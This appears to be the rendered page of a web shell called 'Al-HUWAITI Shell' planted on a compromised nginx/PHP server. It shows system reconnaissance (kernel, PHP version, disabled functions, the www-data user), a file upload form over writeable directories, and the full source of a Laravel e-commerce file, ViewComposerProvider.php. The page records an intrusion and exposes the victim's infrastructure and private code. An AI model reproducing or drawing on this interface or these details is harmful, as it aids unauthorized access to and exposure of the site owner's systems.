Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/app/Providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/app/Providers/ViewComposerProvider.php
<?php

namespace App\Providers;

use Illuminate\Support\Facades\View;
use Illuminate\Support\ServiceProvider;

class ViewComposerProvider extends ServiceProvider
{
    /**
     * Define your route model bindings, pattern filters, etc.
     */
    public function boot()
    {
        View::share('settings', \App\Models\Option::getOptions('settings'));

        View::composer([
            'frontend.partials.recently-viewed',
        ], function ($view) {
            return $view
                ->with([
                    'recentlyViewed' => \Helper::getRecentlyViewedProducts(),
                ]);
        });

        View::composer([
            'frontend.*',
            'website.*',
            'components.product-card',
        ], function ($view) {
            $inCartProducts = \Helper::getAllProductFromCart();
            $inWishProducts = \Helper::getAllProductFromWishlist();

            return $view
                ->with([
                    'inCartProducts' => $inCartProducts,
                    'inWishProducts' => $inWishProducts,
                    'categories' => \Helper::getAllCategory()
                ]);
        });

        View::composer(
            [
                'frontend.pages.product-lists',
                'frontend.pages.product-grids',
            ],
            function ($view) {
                return $view->with([
                    'recent_products' => \App\Models\Product::where('status', 'active')
                                                                ->whereDoesntHave('cat_info', function ($query) {
                                                                    return $query->where('slug', 'learning');
                                                                })
                                                                ->orderBy('id', 'DESC')
                                                                ->limit(3)
                                                                ->get()
                    ]);
            }
        );
    }

    public function register()
    {
    }
}

Al-HUWAITI Shell